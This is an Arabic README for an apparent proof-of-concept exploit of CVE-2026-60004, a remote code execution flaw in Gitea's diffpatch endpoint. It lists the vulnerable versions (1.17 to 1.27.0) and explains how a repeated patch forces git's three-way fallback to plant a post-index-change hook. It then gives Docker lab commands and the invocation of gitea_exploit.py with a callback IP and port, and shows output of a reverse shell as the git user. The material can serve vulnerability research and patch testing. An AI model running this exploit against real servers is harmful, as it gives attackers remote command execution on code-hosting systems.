
استغلال تلقائي لإثبات المفهوم لـ CVE-2026-60004، وهو ثغرة تنفيذ تعليمات عن بُعد (RCE) في خطاف Git الخاص بـ diffpatch في Gitea، تقوم بزرع خطاف بعد تغيير الفهرس للحصول على صدفة عكسية بصلاحيات حساب الخدمة.
★ CVE-2026-60004 Gitea diffpatch Git Hook RCE PoC ★
https://github.com/user-attachments/assets/403a70f4-4ff4-4ab7-b11c-d73d70adaf0b
CVE-2026-60004 هي ثغرة تنفيذ تعليمات برمجية عن بُعد (RCE) في Gitea. تقوم واجهة
diffpatchبتطبيق رقعة (patch) مُقدَّمة باستخدامgit apply --cached، والذي يُفترض أن يمسّ الفهرس (index) فقط ولا يكتب أي ملفات على القرص. من خلال إرسال نفس الرقعة مرتين، يُجبر المهاجم على حدوث تعارض add/add يُفعّل آلية الرجوع إلى الدمج الثلاثي (-3) في Git. يتجاهل هذا المسار الخيار--cachedويستخرج الملف إلى شجرة العمل. ولأن النسخة المؤقتة (temporary clone) هي مستودع عارٍ (bare)، فإن جذر شجرة العمل الخاصة به هو$GIT_DIR. لذلك فإن رقعة تُنشئ ملف قابلًا للتنفيذ تُثبّت خطاف Git حيًّا، يشغّله Git تلقائيًا عند التحديث التالي للفهرس — منفّذًا أوامر بحساب خدمة Gitea. تتطلب نقطة النهاية صلاحية الكتابة في المستودع، لكن التسجيل مُفعَّل افتراضيًا، لذا يمكن لأي مستخدم قادر على التسجيل وإنشاء مستودع الوصول إليها.
hooks/post-index-change| الفئة | الإصدار |
|---|---|
| معرّض للثغرة | Gitea 1.17 ≤ الإصدار ≤ 1.27.0 |
| مُرقَّع | Gitea 1.27.1 أو أحدث |
git)قم ببناء وتشغيل بيئة Gitea المعرّضة للثغرة. يُترك التسجيل مفتوحًا،
ويأتي الخادم مزوّدًا بـ Git 2.32+، مما يُفعّل آلية الرجوع -3 التي يعتمد عليها الهجوم.
docker build -t cve-2026-60004 .
docker run -d --name cve-2026-60004 -p 3000:3000 cve-2026-60004
| الشرط المسبق | الحالة في هذا المختبر |
|---|---|
| Gitea 1.17 – 1.27.0 | 1.27.0 |
Git 2.32+ على الخادم (يُفعّل -3) | 2.54 |
| التسجيل المفتوح | مُفعَّل (افتراضي) |
| صلاحية الكتابة في المستودع | عبر حساب مُسجَّل ذاتيًا |
الاستغلال مؤتمت بالكامل عبر gitea_exploit.py. بوجود حساب قادر على
إنشاء مستودع، فإنه يُنشئ المستودع الهدف، ويرسل نفس الرقعة
بشكل متكرر حتى تُفعَّل آلية الرجوع -3 في Git، ويلتقط الـ reverse shell عبر
مستمع مدمج — دون حاجة إلى إعداد يدوي أو صياغة رقعة أو حسابات blob-hash.
# python3 gitea_exploit.py <target ip:port> <callback ip> [callback port]
python3 gitea_exploit.py 172.17.0.2:3000 172.17.0.3 4444 \
--user test --pw 11111111 --repo rce
لا تُفعَّل آلية الرجوع -3 إلا في نوافذ توقيت معينة، لذا تُكرّر السكربت عملية
create → send → send حتى تنجح (افتراضيًا 25 محاولة). عندما يتوقف الإرسال،
يكون الخطاف قد اشتغل ويُدخلك المستمع إلى صدفة (shell) بحساب git:
[*] attempt 3/25 -> send#1 201, send#2 timeout <- BLOCKED (fired!)
[+] shell from 172.17.0.2:53344 -- type commands, Ctrl-C to quit
uid=1000(git) gid=1000(git) groups=1000(git)
الخيارات:
--no-listen — لالتقاط الصدفة باستخدام nc خارجي خاص بك بدلًا من المستمع المدمج--user / --pw / --repo / --branch — لتجاوز الحساب الافتراضي والمستودع الهدفDISABLE_REGISTRATION=true)